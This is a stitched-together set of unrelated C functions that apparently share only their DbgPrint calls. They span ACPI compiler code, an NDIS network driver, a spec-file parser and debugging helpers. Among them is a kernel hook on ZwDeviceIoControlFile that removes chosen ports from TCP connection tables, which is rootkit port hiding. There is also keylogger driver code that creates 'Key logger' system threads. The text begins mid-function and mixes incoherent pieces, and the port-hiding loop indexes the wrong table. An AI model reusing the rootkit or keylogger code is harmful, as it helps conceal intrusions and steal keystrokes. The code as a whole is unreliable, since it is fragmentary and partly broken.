PrError (ASL_ERROR, ASL_MSG_UNKNOWN_PRAGMA, THIS_TOKEN_OFFSET (Token)); return; } break; case PR_DIRECTIVE_UNDEF: DbgPrint (ASL_PARSE_OUTPUT, PR_PREFIX_ID "#undef: %s\n", Gbl_CurrentLineNumber, Token); PrRemoveDefine (Token); break; case PR_DIRECTIVE_WARNING: PrError (ASL_WARNING, ASL_MSG_WARNING_DIRECTIVE, THIS_TOKEN_OFFSET (Token)); Gbl_SourceLine = 0; Gbl_NextError = Gbl_ErrorLog; break; default: /* Should never get here */ DbgPrint (ASL_PARSE_OUTPUT, PR_PREFIX_ID "Unrecognized directive: %u\n", Gbl_CurrentLineNumber, Directive); break; } return; SyntaxError: PrError (ASL_ERROR, ASL_MSG_DIRECTIVE_SYNTAX, THIS_TOKEN_OFFSET (DirectiveToken)); return; }
char * FlMergePathnames ( char *PrefixDir, char *FilePathname) { char *CommonPath; char *Pathname; char *LastElement; DbgPrint (ASL_PARSE_OUTPUT, "Include: Prefix path - \"%s\"\n" "Include: FilePathname - \"%s\"\n", PrefixDir, FilePathname); /* * If there is no prefix directory or if the file pathname is absolute, * just return the original file pathname */ if (!PrefixDir || (!*PrefixDir) || (*FilePathname == '/') || (FilePathname[1] == ':')) { Pathname = UtLocalCacheCalloc (strlen (FilePathname) + 1); strcpy (Pathname, FilePathname); goto ConvertBackslashes; } /* Need a local copy of the prefix directory path */ CommonPath = UtLocalCacheCalloc (strlen (PrefixDir) + 1); strcpy (CommonPath, PrefixDir); /* * Walk forward through the file path, and simultaneously backward * through the prefix directory path until there are no more * relative references at the start of the file path. */ while (*FilePathname && (!strncmp (FilePathname, "../", 3))) { /* Remove last element of the prefix directory path */ LastElement = strrchr (CommonPath, '/'); if (!LastElement) { goto ConcatenatePaths; } *LastElement = 0; /* Terminate CommonPath string */ FilePathname += 3; /* Point to next path element */ } /* * Remove the last element of the prefix directory path (it is the same as * the first element of the file pathname), and build the final merged * pathname. */ LastElement = strrchr (CommonPath, '/'); if (LastElement) { *LastElement = 0; } /* Build the final merged pathname */ ConcatenatePaths: Pathname = UtLocalCacheCalloc ( strlen (CommonPath) + strlen (FilePathname) + 2); if (LastElement && *CommonPath) { strcpy (Pathname, CommonPath); strcat (Pathname, "/"); } strcat (Pathname, FilePathname); /* Convert all backslashes to normal slashes */ ConvertBackslashes: UtConvertBackslashes (Pathname); DbgPrint (ASL_PARSE_OUTPUT, "Include: Merged Pathname - \"%s\"\n", Pathname); return (Pathname); }
NDIS_STATUS MPOidRequest( IN NDIS_HANDLE MiniportAdapterContext, IN PNDIS_OID_REQUEST NdisOidRequest) { NDIS_STATUS ndisStatus = NDIS_STATUS_NOT_SUPPORTED; NDIS_OID oid; PMP_ADAPTER adapter = (PMP_ADAPTER)MiniportAdapterContext; ULONG InformationBufferLength; PVOID InformationBuffer; ULONG BytesWritten = 0; ULONG BytesNeeded = 0; ULONG BytesRead = 0; ULONG InfoVal = 0; ULONG InfoLen = sizeof(InfoVal); PVOID pInfo = (PVOID) &InfoVal; NDIS_REQUEST_TYPE Type; ULONG PacketFilter; NDIS_INTERRUPT_MODERATION_PARAMETERS IntrModr = {0}; NDIS_MEDIUM Medium = NdisMedium802_3; oid = NdisOidRequest->DATA.QUERY_INFORMATION.Oid; Type = NdisOidRequest->RequestType; InformationBuffer = NdisOidRequest->DATA.QUERY_INFORMATION.InformationBuffer; InformationBufferLength = NdisOidRequest->DATA.QUERY_INFORMATION.InformationBufferLength; switch (oid) { case OID_GEN_MEDIA_SUPPORTED: case OID_GEN_MEDIA_IN_USE: ndisStatus = NDIS_STATUS_SUCCESS; pInfo = (PVOID) &Medium; InfoLen = sizeof(NDIS_MEDIUM); break; case OID_GEN_INTERRUPT_MODERATION: if (Type == NdisRequestQueryInformation) { ndisStatus = NDIS_STATUS_SUCCESS; MPT_NDIS_OBJ_INIT( &IntrModr.Header, NDIS_OBJECT_TYPE_DEFAULT, NDIS_INTERRUPT_MODERATION_PARAMETERS_REVISION_1, sizeof(NDIS_INTERRUPT_MODERATION_PARAMETERS)); IntrModr.Flags = NDIS_INTERRUPT_MODERATION_CHANGE_NEEDS_RESET; IntrModr.InterruptModeration = NdisInterruptModerationNotSupported; pInfo = (PVOID) &IntrModr; InfoLen = sizeof(NDIS_INTERRUPT_MODERATION_PARAMETERS); } break; case OID_GEN_CURRENT_PACKET_FILTER: ndisStatus = NDIS_STATUS_SUCCESS; BytesRead = InformationBufferLength; PacketFilter = *((PULONG) InformationBuffer); break; case OID_GEN_RCV_OK: case OID_GEN_XMIT_OK: ndisStatus = NDIS_STATUS_SUCCESS; InfoVal = 0; InfoLen = sizeof(InfoVal); break; case OID_GEN_MAXIMUM_TOTAL_SIZE: InfoVal = NIC_MAXIMUM_TOTAL_SIZE; ndisStatus = NDIS_STATUS_SUCCESS; break; case OID_802_3_CURRENT_ADDRESS: if (InformationBufferLength < MAC_ADDRESS_LENGTH) { BytesNeeded = MAC_ADDRESS_LENGTH; ndisStatus = NDIS_STATUS_BUFFER_TOO_SHORT; break; } ndisStatus = NDIS_STATUS_SUCCESS; BytesWritten = MAC_ADDRESS_LENGTH; InfoLen = 0; NdisMoveMemory(InformationBuffer, adapter->CurrentAddress, MAC_ADDRESS_LENGTH); break; case OID_GEN_STATISTICS: if ( InformationBufferLength < sizeof(NDIS_STATISTICS_INFO) ) { BytesNeeded = sizeof(NDIS_STATISTICS_INFO); ndisStatus = NDIS_STATUS_BUFFER_TOO_SHORT; break; } ndisStatus = NDIS_STATUS_SUCCESS; BytesWritten = sizeof(NDIS_STATISTICS_INFO); InfoLen = 0; VNicQueryStatistics((NDIS_STATISTICS_INFO*)InformationBuffer); break; default: DbgPrint("unknown oids\n"); break; } if(ndisStatus == NDIS_STATUS_SUCCESS) { /* BytesNeeded = BytesAvailable;*/ if(InfoLen <= InformationBufferLength) { if(InfoLen) { BytesWritten = InfoLen; NdisMoveMemory(InformationBuffer, pInfo, InfoLen); } } else { BytesNeeded = InfoLen; ndisStatus = NDIS_STATUS_BUFFER_TOO_SHORT; } } if(Type == NdisRequestSetInformation) { NdisOidRequest->DATA.SET_INFORMATION.BytesRead = BytesRead; NdisOidRequest->DATA.SET_INFORMATION.BytesNeeded = BytesNeeded; } else { NdisOidRequest->DATA.QUERY_INFORMATION.BytesWritten = BytesWritten; NdisOidRequest->DATA.QUERY_INFORMATION.BytesNeeded = BytesNeeded; } return ndisStatus; }
static FILE * FlOpenIncludeWithPrefix ( char *PrefixDir, ACPI_PARSE_OBJECT *Op, char *Filename) { FILE *IncludeFile; char *Pathname; UINT32 OriginalLineNumber; /* Build the full pathname to the file */ Pathname = FlMergePathnames (PrefixDir, Filename); DbgPrint (ASL_PARSE_OUTPUT, "Include: Opening file - \"%s\"\n\n", Pathname); /* Attempt to open the file, push if successful */ IncludeFile = fopen (Pathname, "r"); if (!IncludeFile) { fprintf (stderr, "Could not open include file %s\n", Pathname); ACPI_FREE (Pathname); return (NULL); } /* * Check the entire include file for any # preprocessor directives. * This is because there may be some confusion between the #include * preprocessor directive and the ASL Include statement. A file included * by the ASL include cannot contain preprocessor directives because * the preprocessor has already run by the time the ASL include is * recognized (by the compiler, not the preprocessor.) * * Note: DtGetNextLine strips/ignores comments. * Save current line number since DtGetNextLine modifies it. */ Gbl_CurrentLineNumber--; OriginalLineNumber = Gbl_CurrentLineNumber; while (DtGetNextLine (IncludeFile, DT_ALLOW_MULTILINE_QUOTES) != ASL_EOF) { if (Gbl_CurrentLineBuffer[0] == '#') { AslError (ASL_ERROR, ASL_MSG_INCLUDE_FILE, Op, "use #include instead"); } } Gbl_CurrentLineNumber = OriginalLineNumber; /* Must seek back to the start of the file */ fseek (IncludeFile, 0, SEEK_SET); /* Push the include file on the open input file stack */ AslPushInputFileStack (IncludeFile, Pathname); return (IncludeFile); }
NTSTATUS NewZwDeviceIoControlFile(IN HANDLE FileHandle,IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock,IN ULONG IoControlCode,IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength,OUT PVOID OutputBuffer OPTIONAL,IN ULONG OutputBufferLength) { NTSTATUS rc; rc = ((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile)) ( FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength ); if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX) { return(rc); } TCP_REQUEST_QUERY_INFORMATION_EX req; TCPAddrEntry* TcpTable; TCPAddrExEntry* TcpExTable; ULONG numconn; LONG i; #ifdef GIVE_OUTPUT DbgPrint("Jiurl: IOCTL_TCP_QUERY_INFORMATION_EX\n"); #endif if( NT_SUCCESS( rc ) ) { req.ID.toi_entity.tei_entity = CO_TL_ENTITY; req.ID.toi_entity.tei_instance = 0; req.ID.toi_class = INFO_CLASS_PROTOCOL; req.ID.toi_type = INFO_TYPE_PROVIDER; req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID; if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry); TcpTable = (TCPAddrEntry*)OutputBuffer; for( i=0; i<numconn; i++ ) { if ( IsHiddenPort(ntohs(TcpTable[i].tae_ConnRemPort)) || IsHiddenPort(ntohs(TcpTable[i].tae_ConnLocalPort)) ) { #ifdef GIVE_OUTPUT DbgPrint("Jiurl: Hidden Port: %d / %d\n", ntohs(TcpTable[i].tae_ConnLocalPort), ntohs(TcpTable[i].tae_ConnRemPort)); #endif memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) ); numconn--; i--; } else { #ifdef GIVE_OUTPUT DbgPrint("Jiurl: Not Hidden Port: %d / %d\n", ntohs(TcpTable[i].tae_ConnLocalPort), ntohs(TcpTable[i].tae_ConnRemPort)); #endif } } IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry); return(rc); } req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID; if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) ) { numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry); TcpExTable = (TCPAddrExEntry*)OutputBuffer; for( i=0; i<numconn; i++ ) { if ( IsHiddenPort(ntohs(TcpTable[i].tae_ConnRemPort)) || IsHiddenPort(ntohs(TcpTable[i].tae_ConnLocalPort)) ) { #ifdef GIVE_OUTPUT DbgPrint("Jiurl: Hidden Port: %d / %d\n", ntohs(TcpTable[i].tae_ConnLocalPort), ntohs(TcpTable[i].tae_ConnRemPort)); #endif memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) ); numconn--; i--; } else { #ifdef GIVE_OUTPUT DbgPrint("Jiurl: Not Hidden Port: %d / %d\n", ntohs(TcpTable[i].tae_ConnLocalPort), ntohs(TcpTable[i].tae_ConnRemPort)); #endif } } IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry); return(rc); } } return(rc); }
void OutputLine_def_GCC(FILE *fileDest, EXPORT *pexp) { int bTracing = 0; /* Print the function name, with decoration for export libs */ PrintName(fileDest, pexp, &pexp->strName, gbImportLib); DbgPrint("Generating def line for '%.*s'\n", pexp->strName.len, pexp->strName.buf); /* Check if this is a forwarded export */ if (pexp->strTarget.buf) { int fIsExternal = !!ScanToken(pexp->strTarget.buf, '.'); DbgPrint("Got redirect '%.*s'\n", pexp->strTarget.len, pexp->strTarget.buf); /* print the target name, don't decorate if it is external */ fprintf(fileDest, "="); PrintName(fileDest, pexp, &pexp->strTarget, !fIsExternal); } else if (((pexp->uFlags & FL_STUB) || (pexp->nCallingConvention == CC_STUB)) && (pexp->strName.buf[0] == '?')) { /* C++ stubs are forwarded to C stubs */ fprintf(fileDest, "=stub_function%d", pexp->nNumber); } else if (gbTracing && ((pexp->uFlags & FL_NORELAY) == 0) && (pexp->nCallingConvention == CC_STDCALL) && (pexp->strName.buf[0] != '?')) { /* Redirect it to the relay-tracing trampoline */ char buf[256]; STRING strTarget; fprintf(fileDest, "="); sprintf(buf, "$relaytrace$%.*s", pexp->strName.len, pexp->strName.buf); strTarget.buf = buf; strTarget.len = pexp->strName.len + 12; PrintName(fileDest, pexp, &strTarget, 1); bTracing = 1; } /* Special handling for stdcall and fastcall */ if ((giArch == ARCH_X86) && ((pexp->nCallingConvention == CC_STDCALL) || (pexp->nCallingConvention == CC_FASTCALL))) { /* Is this the import lib? */ if (gbImportLib) { /* Is the name in the spec file decorated? */ const char* pcDeco = ScanToken(pexp->strName.buf, '@'); if (pcDeco && (pcDeco < pexp->strName.buf + pexp->strName.len)) { /* Write the name including the leading @ */ fprintf(fileDest, "==%.*s", pexp->strName.len, pexp->strName.buf); } } else if ((!pexp->strTarget.buf) && !(bTracing)) { /* Write a forwarder to the actual decorated symbol */ fprintf(fileDest, "="); PrintName(fileDest, pexp, &pexp->strName, 1); } } }
static VOID PrintStackTrace(struct _EXCEPTION_POINTERS *ExceptionInfo) { PVOID StartAddr; CHAR szMod[128] = ""; PEXCEPTION_RECORD ExceptionRecord = ExceptionInfo->ExceptionRecord; PCONTEXT ContextRecord = ExceptionInfo->ContextRecord; /* Print a stack trace. */ DbgPrint("Unhandled exception\n"); DbgPrint("ExceptionCode: %8x\n", ExceptionRecord->ExceptionCode); if ((NTSTATUS)ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION && ExceptionRecord->NumberParameters == 2) { DbgPrint("Faulting Address: %8x\n", ExceptionRecord->ExceptionInformation[1]); } _dump_context (ContextRecord); _module_name_from_addr(ExceptionRecord->ExceptionAddress, &StartAddr, szMod, sizeof(szMod)); DbgPrint("Address:\n %8x+%-8x %s\n", (PVOID)StartAddr, (ULONG_PTR)ExceptionRecord->ExceptionAddress - (ULONG_PTR)StartAddr, szMod); #ifdef _M_IX86 DbgPrint("Frames:\n"); _SEH2_TRY { UINT i; PULONG Frame = (PULONG)ContextRecord->Ebp; for (i = 0; Frame[1] != 0 && Frame[1] != 0xdeadbeef && i < 128; i++) { if (IsBadReadPtr((PVOID)Frame[1], 4)) { DbgPrint(" %8x%9s %s\n", Frame[1], "<invalid address>"," "); } else { _module_name_from_addr((const void*)Frame[1], &StartAddr, szMod, sizeof(szMod)); DbgPrint(" %8x+%-8x %s\n", (PVOID)StartAddr, (ULONG_PTR)Frame[1] - (ULONG_PTR)StartAddr, szMod); } if (IsBadReadPtr((PVOID)Frame[0], sizeof(*Frame) * 2)) break; Frame = (PULONG)Frame[0]; } } _SEH2_EXCEPT(EXCEPTION_EXECUTE_HANDLER) { DbgPrint("<error dumping stack trace: 0x%x>\n", _SEH2_GetExceptionCode()); } _SEH2_END; #endif }
int ParseFile(char* pcStart, FILE *fileDest, PFNOUTLINE OutputLine) { char *pc, *pcLine; int nLine; EXPORT exp; int included; char namebuffer[16]; //fprintf(stderr, "info: line %d, pcStart:'%.30s'\n", nLine, pcStart); /* Loop all lines */ nLine = 1; exp.nNumber = 0; for (pcLine = pcStart; *pcLine; pcLine = NextLine(pcLine), nLine++) { pc = pcLine; exp.nArgCount = 0; exp.uFlags = 0; exp.nNumber++; //if (!strncmp(pcLine, "22 stdcall @(long) MPR_Alloc",28)) // gbDebug = 1; //fprintf(stderr, "info: line %d, token:'%d, %.20s'\n", // nLine, TokenLength(pcLine), pcLine); /* Skip white spaces */ while (*pc == ' ' || *pc == '\t') pc++; /* Skip empty lines, stop at EOF */ if (*pc == ';' || *pc <= '#') continue; if (*pc == 0) return 0; //fprintf(stderr, "info: line %d, token:'%.*s'\n", // nLine, TokenLength(pc), pc); /* Now we should get either an ordinal or @ */ if (*pc == '@') exp.nOrdinal = -1; else { exp.nOrdinal = atol(pc); /* The import lib should contain the ordinal only if -ordinal was specified */ if (!gbImportLib) exp.uFlags |= FL_ORDINAL; } /* Go to next token (type) */ if (!(pc = NextToken(pc))) { fprintf(stderr, "error: line %d, unexpected end of line\n", nLine); return -10; } //fprintf(stderr, "info: Token:'%.*s'\n", TokenLength(pc), pc); /* Now we should get the type */ if (CompareToken(pc, "stdcall")) { exp.nCallingConvention = CC_STDCALL; } else if (CompareToken(pc, "cdecl") || CompareToken(pc, "varargs")) { exp.nCallingConvention = CC_CDECL; } else if (CompareToken(pc, "fastcall")) { exp.nCallingConvention = CC_FASTCALL; } else if (CompareToken(pc, "thiscall")) { exp.nCallingConvention = CC_THISCALL; } else if (CompareToken(pc, "extern")) { exp.nCallingConvention = CC_EXTERN; } else if (CompareToken(pc, "stub")) { exp.nCallingConvention = CC_STUB; } else { fprintf(stderr, "error: line %d, expected callconv, got '%.*s' %d\n", nLine, TokenLength(pc), pc, *pc); return -11; } //fprintf(stderr, "info: nCallingConvention: %d\n", exp.nCallingConvention); /* Go to next token (options or name) */ if (!(pc = NextToken(pc))) { fprintf(stderr, "fail2\n"); return -12; } /* Handle options */ included = 1; while (*pc == '-') { if (CompareToken(pc, "-arch")) { /* Default to not included */ included = 0; pc += 5; /* Look if we are included */ while (*pc == '=' || *pc == ',') { pc++; if (CompareToken(pc, pszArchString) || CompareToken(pc, pszArchString2)) { included = 1; } /* Skip to next arch or end */ while (*pc > ',') pc++; } } else if (CompareToken(pc, "-i386")) { if (giArch != ARCH_X86) included = 0; } else if (CompareToken(pc, "-private")) { exp.uFlags |= FL_PRIVATE; } else if (CompareToken(pc, "-noname")) { exp.uFlags |= FL_ORDINAL | FL_NONAME; } else if (CompareToken(pc, "-ordinal")) { exp.uFlags |= FL_ORDINAL; /* GCC doesn't automatically import by ordinal if an ordinal * is found in the def file. Force it. */ if (gbImportLib && !gbMSComp) exp.uFlags |= FL_NONAME; } else if (CompareToken(pc, "-stub")) { exp.uFlags |= FL_STUB; } else if (CompareToken(pc, "-norelay")) { exp.uFlags |= FL_NORELAY; } else if (CompareToken(pc, "-ret64")) { exp.uFlags |= FL_RET64; } else if (CompareToken(pc, "-register")) { exp.uFlags |= FL_REGISTER; } else { fprintf(stderr, "info: ignored option: '%.*s'\n", TokenLength(pc), pc); } /* Go to next token */ pc = NextToken(pc); } //fprintf(stderr, "info: Name:'%.10s'\n", pc); /* If arch didn't match ours, skip this entry */ if (!included) continue; /* Get name */ exp.strName.buf = pc; exp.strName.len = TokenLength(pc); DbgPrint("Got name: '%.*s'\n", exp.strName.len, exp.strName.buf); /* Check for autoname */ if ((exp.strName.len == 1) && (exp.strName.buf[0] == '@')) { sprintf(namebuffer, "ordinal%d", exp.nOrdinal); exp.strName.len = strlen(namebuffer); exp.strName.buf = namebuffer; exp.uFlags |= FL_ORDINAL | FL_NONAME; } /* Handle parameters */ exp.nStackBytes = 0; if (exp.nCallingConvention != CC_EXTERN && exp.nCallingConvention != CC_STUB) { /* Go to next token */ if (!(pc = NextToken(pc))) { fprintf(stderr, "fail4\n"); return -13; } /* Verify syntax */ if (*pc++ != '(') { fprintf(stderr, "error: line %d, expected '('\n", nLine); return -14; } /* Skip whitespaces */ while (*pc == ' ' || *pc == '\t') pc++; exp.nStackBytes = 0; while (*pc >= '0') { if (CompareToken(pc, "long")) { exp.nStackBytes += 4; exp.anArgs[exp.nArgCount] = ARG_LONG; } else if (CompareToken(pc, "double")) { exp.nStackBytes += 8; exp.anArgs[exp.nArgCount] = ARG_DBL; } else if (CompareToken(pc, "ptr")) { exp.nStackBytes += 4; // sizeof(void*) on x86 exp.anArgs[exp.nArgCount] = ARG_PTR; } else if (CompareToken(pc, "str")) { exp.nStackBytes += 4; // sizeof(void*) on x86 exp.anArgs[exp.nArgCount] = ARG_STR; } else if (CompareToken(pc, "wstr")) { exp.nStackBytes += 4; // sizeof(void*) on x86 exp.anArgs[exp.nArgCount] = ARG_WSTR; } else if (CompareToken(pc, "int64")) { exp.nStackBytes += 8; exp.anArgs[exp.nArgCount] = ARG_INT64; } else if (CompareToken(pc, "int128")) { exp.nStackBytes += 16; exp.anArgs[exp.nArgCount] = ARG_INT128; } else if (CompareToken(pc, "float")) { exp.nStackBytes += 4; exp.anArgs[exp.nArgCount] = ARG_FLOAT; } else fprintf(stderr, "error: line %d, expected type, got: %.10s\n", nLine, pc); exp.nArgCount++; /* Go to next parameter */ if (!(pc = NextToken(pc))) { fprintf(stderr, "fail5\n"); return -15; } } /* Check syntax */ if (*pc++ != ')') { fprintf(stderr, "error: line %d, expected ')'\n", nLine); return -16; } } /* Handle special stub cases */ if (exp.nCallingConvention == CC_STUB) { /* Check for c++ mangled name */ if (pc[0] == '?') { //printf("Found c++ mangled name...\n"); // } else { /* Check for stdcall name */ const char *p = ScanToken(pc, '@'); if (p && (p - pc < exp.strName.len)) { int i; /* Truncate the name to before the @ */ exp.strName.len = (int)(p - pc); if (exp.strName.len < 1) { fprintf(stderr, "error, @ in line %d\n", nLine); return -1; } exp.nStackBytes = atoi(p + 1); exp.nArgCount = exp.nStackBytes / 4; exp.nCallingConvention = CC_STDCALL; exp.uFlags |= FL_STUB; for (i = 0; i < exp.nArgCount; i++) exp.anArgs[i] = ARG_LONG; } } } /* Get optional redirection */ pc = NextToken(pc); if (pc) { exp.strTarget.buf = pc; exp.strTarget.len = TokenLength(pc); /* Check syntax (end of line) */ if (NextToken(pc)) { fprintf(stderr, "error: line %d, additional tokens after ')'\n", nLine); return -17; } /* Don't relay-trace forwarded functions */ exp.uFlags |= FL_NORELAY; } else { exp.strTarget.buf = 0; exp.strTarget.len = 0; } /* Check for no-name without ordinal */ if ((exp.uFlags & FL_ORDINAL) && (exp.nOrdinal == -1)) { fprintf(stderr, "error: line %d, ordinal export without ordinal!\n", nLine); return -1; } OutputLine(fileDest, &exp); gbDebug = 0; } return 0; }
/// <summary> /// Null Pointer Dereference Object Callback /// </summary> VOID NullPointerDereferenceObjectCallback() { PAGED_CODE(); DbgPrint("[+] Null Pointer Dereference Object Callback\n"); }
/* InitThreads */ NTSTATUS InitThreads( IN PDRIVER_OBJECT pDriverObject, IN KEY_QUEUE *writeQueue ) { // Local variables PDEVICE_EXTENSION pKeyboardDeviceExtension; HANDLE hWorkerThread; HANDLE hExtractThread; NTSTATUS status; // Retrieve device extension pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension; // Set the thread terminate states to false pKeyboardDeviceExtension->bExtractTerminate = false; pKeyboardDeviceExtension->bWorkerTerminate = false; // Create the threads status = PsCreateSystemThread(&hWorkerThread, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, WorkerThread, pKeyboardDeviceExtension ); if(!NT_SUCCESS(status)) return status; status = PsCreateSystemThread(&hExtractThread, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, ExtractThread, pKeyboardDeviceExtension ); if(!NT_SUCCESS(status)) return status; DbgPrint("Threads created successfully.\n"); // Obtain pointers to the thread objects ObReferenceObjectByHandle(hWorkerThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pKeyboardDeviceExtension->pWorkerThread, writeQueue // was NULL ); DbgPrint("Key logger thread initialized; hWorkerThread = %x\n", &pKeyboardDeviceExtension->pWorkerThread); ObReferenceObjectByHandle(hExtractThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pKeyboardDeviceExtension->pExtractThread, pKeyboardDeviceExtension // was NULL ); DbgPrint("Key logger thread initialized; hExtractThread = %x\n", &pKeyboardDeviceExtension->pExtractThread); // Close thread handles ZwClose(hWorkerThread); ZwClose(hExtractThread); return status; } // end InitThreads
NTSTATUS SepServerInitialize( ) { NTSTATUS Status; OBJECT_ATTRIBUTES ThreadAttributes; PTEB CurrentTeb; DbgPrint("Se: Server Initializing ...\n"); // // Initialize global variables // RequestCount = 0; // // Get a handle to our thread to so that we can access our thread // even when impersonating an anonymous client (which we can't do // using NtCurrentThread()). // CurrentTeb = NtCurrentTeb(); InitializeObjectAttributes(&ThreadAttributes, NULL, 0, NULL, NULL); Status = NtOpenThread( &SepServerThread, // TargetHandle THREAD_ALL_ACCESS, // DesiredAccess &ThreadAttributes, // ObjectAttributes &CurrentTeb->ClientId // ClientId ); ASSERT( NT_SUCCESS(Status) ); // // Create the server's port // InitializeObjectAttributes( &ObjectAttributes, &PortName, 0, NULL, NULL ); Status = NtCreatePort( &EarPort, &ObjectAttributes, 0, 4, 4 * 256 ); SEASSERT_SUCCESS(Status); // // Spawn a copy of ourselves... // DbgPrint("Se: Server Spawning client process ...\n"); SepServerSpawnClientProcess(); DbgPrint("Se: Server waiting for start of test signal ...\n"); Status = NtWaitForSingleObject( EventHandle, TRUE, NULL ); SEASSERT_SUCCESS(Status); Status = NtClose( EventHandle ); SEASSERT_SUCCESS(Status); return STATUS_SUCCESS; }
void TrPrintNodeCompileFlags ( UINT32 Flags) { UINT32 i; UINT32 FlagBit = 1; char *FlagName = NULL; for (i = 0; i < 32; i++) { switch (Flags & FlagBit) { case NODE_VISITED: FlagName = "NODE_VISITED"; break; case NODE_AML_PACKAGE: FlagName = "NODE_AML_PACKAGE"; break; case NODE_IS_TARGET: FlagName = "NODE_IS_TARGET"; break; case NODE_IS_RESOURCE_DESC: FlagName = "NODE_IS_RESOURCE_DESC"; break; case NODE_IS_RESOURCE_FIELD: FlagName = "NODE_IS_RESOURCE_FIELD"; break; case NODE_HAS_NO_EXIT: FlagName = "NODE_HAS_NO_EXIT"; break; case NODE_IF_HAS_NO_EXIT: FlagName = "NODE_IF_HAS_NO_EXIT"; break; case NODE_NAME_INTERNALIZED: FlagName = "NODE_NAME_INTERNALIZED"; break; case NODE_METHOD_NO_RETVAL: FlagName = "NODE_METHOD_NO_RETVAL"; break; case NODE_METHOD_SOME_NO_RETVAL: FlagName = "NODE_METHOD_SOME_NO_RETVAL"; break; case NODE_RESULT_NOT_USED: FlagName = "NODE_RESULT_NOT_USED"; break; case NODE_METHOD_TYPED: FlagName = "NODE_METHOD_TYPED"; break; case NODE_COMPILE_TIME_CONST: FlagName = "NODE_COMPILE_TIME_CONST"; break; case NODE_IS_TERM_ARG: FlagName = "NODE_IS_TERM_ARG"; break; case NODE_WAS_ONES_OP: FlagName = "NODE_WAS_ONES_OP"; break; case NODE_IS_NAME_DECLARATION: FlagName = "NODE_IS_NAME_DECLARATION"; break; case NODE_COMPILER_EMITTED: FlagName = "NODE_COMPILER_EMITTED"; break; case NODE_IS_DUPLICATE: FlagName = "NODE_IS_DUPLICATE"; break; case NODE_IS_RESOURCE_DATA: FlagName = "NODE_IS_RESOURCE_DATA"; break; case NODE_IS_NULL_RETURN: FlagName = "NODE_IS_NULL_RETURN"; break; default: break; } if (FlagName) { DbgPrint (ASL_PARSE_OUTPUT, " %s", FlagName); FlagName = NULL; } FlagBit <<= 1; } }